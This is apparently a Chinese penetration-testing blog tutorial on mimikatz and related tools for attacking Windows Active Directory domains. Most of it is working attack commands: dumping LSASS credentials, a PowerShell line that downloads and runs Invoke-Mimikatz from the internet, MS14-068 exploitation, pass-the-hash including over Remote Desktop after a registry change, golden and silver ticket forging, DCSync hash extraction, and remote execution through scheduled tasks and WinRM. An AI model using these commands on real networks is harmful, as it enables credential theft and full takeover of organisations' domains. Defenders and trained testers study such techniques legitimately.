mimikatz的基本使用

常见命令

cls-----------------------------清屏
exit----------------------------退出
version------------查看mimikatz的版本
system::user-----查看当前登录的系统用户
system::computer-------查看计算机名称
process::list------------------列出进程
process::suspend 进程名称 -----暂停进程
process::stop 进程名称---------结束进程
process::modules --列出系统的核心模块及所在位置
service::list---------------列出系统的服务
service::remove-----------移除系统的服务
service::start stop 服务名称--启动或停止服务
privilege::list---------------列出权限列表
privilege::enable--------激活一个或多个权限
privilege::debug-----------------提升权限
nogpo::cmd------------打开系统的cmd.exe
nogpo::regedit -----------打开系统的注册表
nogpo::taskmgr-------------打开任务管理器
ts::sessions-----------------显示当前的会话
ts::processes------显示进程和对应的pid情况等
sekurlsa::wdigest-----获取本地用户信息及密码
sekurlsa::tspkg------获取tspkg用户信息及密码
sekurlsa::msv   抓取hash
sekurlsa::logonPasswords--获登陆用户信息及密码
sekurlsa::ekeys  抓取hash


在msf中的meterpreter也可以直接加载mimikatz工具,要执行mimikatz命令:

load kiwi
kiwi_cmd kerberos::list

抓取密码

1、mimikatz抓取密码

privilege::debug 提生权限
sekurlsa::logonPasswords抓取密码


2、当mimikatz无法上传时,可以利用procdump64.exe来操作
在目标机运行:

procdump64.exe -accepteula -ma lsass.exe lsass.dmp #导出为lsass.dump文件,放在mimikatz目录下

然后本地运行

privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

3、通过powershell抓取密码

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz


MS14-068提权

MS14-068编号CVE-2014-6324,补丁为3011780
我的域控是win2012 R2,没有利用成功,但是win2008 R2是可以的
后来查了下,貌似影响版本从win2000-win2012(不包括win2012)

1、使用MS14-068.exe

MS14-068.exe -u test@test.com -s S-1-5-21-1528753600-3951244198-520479113-1107 -d 192.168.93.10 -p 123!@#qwe      #其中-s 用whoami /all查看  输入的是域用户的账号密码,同时注意不能忽略掉sid后面几位,和黄金票据不太一样
klist purge #删除所有缓存票据,如果不清除,在域用户下就不能利用成功,只能在本地用户下利用成功
kerberos::purge
kerberos::list
kerberos::ptc TGT_test@test.org.ccache       #注意不是kerberos::ptt

在cmd中使用klist查看缓存的票据

2、使用kekeo

更简单高效, 因为域用户对应sid本就可以通过程序自动获取,清除导入票据也能自动实现

exploit::ms14068  /domain:test.org /user:test /password:123!@#qwe /ptt

mimikatz的基本使用_第1张图片
3、也可以使用goldenPac.exe(也有py版本的)

goldenPac.exe test.com/test:123!@#[email protected]
goldenPac.py xxx.com/jack:jackpwd@dc.xxx.com

mimikatz的基本使用_第2张图片


使用以下命令操作

net use \\AD.test.org
dir \\AD.test.org\c$

然后就可以直接利用PsExec.exe或者wmiexec.vbs获得cmdshell

psexec.exe \\192.168.93.224 cmd

注意事项:mimikatz的基本使用_第3张图片
1、注入票据时,机器不能是03xp,因为mimikatz不支持这两个机器注入,听大佬说过有工具可以注入,希望有知道的朋友可以留言
2、当获取到域用户、域用户sid、密码以及可访问到域控制器的机器,并不需要机器一定在域中,但需要把dns指向域控制器才能解析
3、访问域控制器时,需要使用主机名,不能使用ip

参考链接

深入解读MS14-068漏洞:微软精心策划的后门?



Pass-the-hash

攻击原理,直接使用登陆过的机器中存在的hash值去尝试登录其它机器

通常来说,pass-the-hash的攻击模式是这样的:

1、获取一台域主机高权限

2、利用mimikatz等工具导出密码hash

privilege::debug

sekurlsa::logonpasswords

3、用导出的hash尝试登陆其他域主机

mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:AD.test.com /ntlm:efa85b42d77dc2fdbdbdb767792b0a11"

mimikatz的基本使用_第4张图片mimikatz的基本使用_第5张图片
mimikatzpath-the-hash功能需要本地管理员权限,这是由它的实现机制决定的,需要先获得高权限进程lsass.exe的信息

对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012,可以使用AES keys代替NT hash
其实对于没安装kb2871997的机器
对于非域用户,只有管理员用户可以连接(RID=500为管理用户)
对于域用户,RID不为500的账户也可以连接


使用mimikatz先获取hash:

privilege::debug
sekurlsa::ekeys

注意这里mimikatz是复制不了的
解决方法是使用日志记录功能将回显内容输出到文件中,开启日志记录功能后会把输出回显的内容保存在同级目录下的mimikatz.log中,命令参考如下:

log
privilege::debug
sekurlsa::ekeys

最后的命令为:

mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /aes256:f74b379b5b422819db694aaf78f49177ed21c98ddad6b0e246a7e17df6d19d5c"
对于使用aes的方法,只能是安装过补丁的机器


但是mimikatz有限制,那就是需要管理员权限

这儿介绍一种不需要管理员权限的方法

kekeo "tgt::ask /user:administrator /domain:test.com /ntlm:7ECFFFF0C3548187607A14BAD0F88BB1"

执行后生成票据[email protected][email protected]
接下来导入票据:

kekeo "kerberos::ptt [email protected][email protected]"

参考链接
从hash传递攻击谈相关Windows安全机制



Pass the Hash with Remote Desktop

适用系统

Windows 8.1和Windows Server 2012 R2默认支持该功能

Windows 7和Windows Server 2008 R2默认不支持,需要安装补丁2871997、2973351

这儿主要使用Restricted Admin mode的方法来开启远程桌面

开启Restricted Admin mode的方法

1、安装补丁3126593
实现原理同下文的方法2(修改注册表)
方法2: 修改注册表
位置:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa

新建DWORD键值DisableRestrictedAdmin,值为0,代表开启;值为1,代表关闭;

对应命令行开启的命令如下:

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

使用Restricted Admin mode

执行如下命令

mstsc.exe /restrictedadmin

如果当前系统不支持Restricted Admin mode,执行后弹出远程桌面的参数说明,如下图
mimikatz的基本使用_第6张图片
如果当前系统支持Restricted Admin mode,执行后弹出远程桌面的登录界面,如下图
mimikatz的基本使用_第7张图片
值得注意的是,Restricted Admin mode使用当前Windows登录凭据,不需要输入口令,直接登录即可,所以这儿可以直接和pass-the-hash配合使用

更进一步,Pass the Hash with Remote Desktop的前提就是系统支持Restricted Admin mode

方法1: mimikatz
privilege::debug
sekurlsa::pth /user:administrator /domain:remoteserver /ntlm:d25ecd13fddbb542d2e16da4f9e0333d "/run:mstsc.exe /restrictedadmin"

执行后弹出远程登录界面,如下图
mimikatz的基本使用_第8张图片
这儿一般直接将内网流量代理出来在本地执行

方法2: FreeRDP

linux下使用明文远程登录的参数:

xfreerdp /u:administrator /p:test123! /v:192.168.62.136 /cert-ignore

linux下使用hash远程登录的参数:

xfreerdp /u:administrator /pth:d25ecd13fddbb542d2e16da4f9e0333d /v:192.168.62.136 /cert-ignore

现在github上的FreeRDP好像不支持hash传递了,不过最新版的kali上还保留hash传递的pth-xfreerdp
命令为:

proxychains xfreerdp /u:administrator /pth:e5ae562ddfaa6b446c32764ab1ebf3ed /v:192.168.1.7 /cert-ignore

mimikatz的基本使用_第9张图片

参考链接
参考链接


pass the ticket (黄金票据)

利用条件

krbtgt   用户哈希
域用户的SID
用户名(域管理员)   
域名

1、先导出krbtgt用户的hash
lsadump::dcsync /domain:test.com /user:krbtgt exit

这儿简单说一下lsadump::dcsync的使用条件
获取以下任意一个用户权限:

  1、Administrators 组
  2、Domain Admins组
  3、Enterprise Admins(企业管理员)组
  4、域控制器的计算机账户
当然你通过导入各种票据取得远程服务器的管理员权限也是可以导出hash的

使用说明

privilege::debug
#导出域内所有用户的hash
lsadump::dcsync /domain:test.com /all /csv
#导出域内administrator账户的hash
lsadump::dcsync /domain:test.com /user:administrator /csv

更多的关于如何利用DCSync 在域内维持权限的方法
参考以下链接


2、获取SID

直接使用whoami /user
mimikatz的基本使用_第10张图片

注意这儿不需要后面的四位

3、生成票据

使用krbtgt-ntlm构造凭证

kerberos::golden /domain:test.com /sid:S-1-5-21-3298638106-3321833000-1571791979 /krbtgt:0199f7c89b9d5262c897e0d1bf858bfb /user:administrator /ticket:ntlm.kirbi

或使用krbtgt-aes256值构造票据

kerberos::golden /domain:test.com /sid:S-1-5-21-3298638106-3321833000-1571791979 /aes256:70c75b92598875616624b55e027b5506d330dac55c322c19d18b86b6565622fb /user:administrator /ticket:gold.kirbi

4、导入票据

使用mimikatz或者kekeo都可以(kekeo貌似不需要管理员权限,没具体实验)
导入票据步骤

1、在cmd中先清除 klist purge
2、在cmd中进入kekeo或者mimikatz(这样可以复制粘贴)
3、kerberos::purge
4、kerberos::ptt gold.kirbi
5exit
6、dir \\AD\c$

参考链接


pass the ticket (白银票据)

这个是伪造TGS的票据来访问某个目录,比较鸡肋
我们首先需要获取以下信息

/domain    			test.com
/sid				没有后面几位数字,和黄金票据一样(这是目标系统的管理员SID)
/target:目标服务器的域名全称,此处为域控的全称,例如AD.test.com
/service:目标服务器上面的kerberos服务,此处为cifs
/rc4:计算机账户的NTLM hash,域控主机的计算机账户(并非域用户)
/user:要伪造的用户名,此处可用silver测试,可以随意填

mimikatz的基本使用_第11张图片

注: 此处要找到计算机账户,也就是Username : WIN-8VVLRPIAJB0$的NTLM hash,如果是其他账户,那么会失败

最后在mimikatz或者kekeo(不需要管理员权限)执行以下语句

klist purge
kerberos::purge
kerberos::golden /domain:test.com /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.com /service:cifs /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:silver /ptt

最后再介绍以下常用的服务
mimikatz的基本使用_第12张图片

1、Windows共享(CIFS)管理访问的银票

cifs服务创建白银票据,以获得目标计算机上任何Windows共享的管理权限。
注入CIFS Silver Ticket后,我们现在可以访问目标计算机上的任何共享,包括
c$共享,我们能够将文件拷贝到共享文件中。

2、具有管理员权限的Windows计算机(HOST)白银票据

创建银票以获得目标计算机上所涵盖的任何Windows服务的管理员权限。这包括修改和创建计划任务的权限。
利用HOST Silver Ticket,我们可以创建一个新的计划任务。
或者通过利用HOST Silver Ticket,我们可以修改存在的计划任务。
命令:

klist purge
kerberos::purge
kerberos::golden /domain:test.com /sid:S-1-5-21-3298638106-3321833000-1571791979 /target:AD.test.com /service:HOST /rc4:49ad8aa69750fa735b7f85da7da9d3c0 /user:silver /ptt
schtasks /query /s AD.test.com
schtasks /create /sc minute /mo 20 /tn "Security scrīpt" /tr \\central\data\scrīpts\sec.vbs
# /sc 时间单位;  /mo 每二十个时间单位运行一次; /tn 任务的名称;   /tr 计划任务脚本或者软件,假如我们能到控制域控的计划任务,则我们可以直接把脚本放在我们域用户计算机上 \\central\data\scrīpts.ps1 ,这样就是访问远程脚本,但是计划任务确实在域控上执行

直接运行schtasks /query会报 错误: 无法加载列资源
这是编码的问题,直接将gbk编码(936)改为英文的编码(437)

chcp 437
3、Silver Ticket连接到以Windows管理员权限计算机上的PowerShell远程执行

http服务和wsman服务创建Silver Ticket,以获得目标系统上的WinRM和或PowerShell Remoting的管理权限。
mimikatz的基本使用_第13张图片
mimikatz的基本使用_第14张图片
注入两张HTTP&WSMAN白银票据后,我们可以使用PowerShell远程(或WinRM的)反弹出目标系统shell。
首先New-PSSession使用PowerShell创建到远程系统的会话的PowerShell cmdlet,然后Enter-PSSession打开远程shell。
mimikatz的基本使用_第15张图片

4.白银票据证连接到具有管理员权限Windows计算机上的LDAP

ldap服务创建Silver Ticket 以获得目标系统(包括Active Directory)上LDAP服务的管理权限。
这样就可以导出目标系统的hash

#导出域内所有的hash
lsadump::dcsync /domain:test.com /all /csv
#导出域内administrator账户的hash
lsadump::dcsync /domain:test.com /user:administrator /csv
后来经过测试,必须同时导入LDAP和CIFS两个TGS才能访问目标系统的hash
5.白银票据证连接到具有管理员权限Windows计算机上的WMI

HOST服务和rpcss服务创建白银票据,以使用WMI在目标系统上远程执行命令。
先确定一下票据有没有写入,然后使用WMIC执行命令

总结:自己试验了一下1、2、4条实验成功了

参考链接
参考链接

你可能感兴趣的:(渗透测试)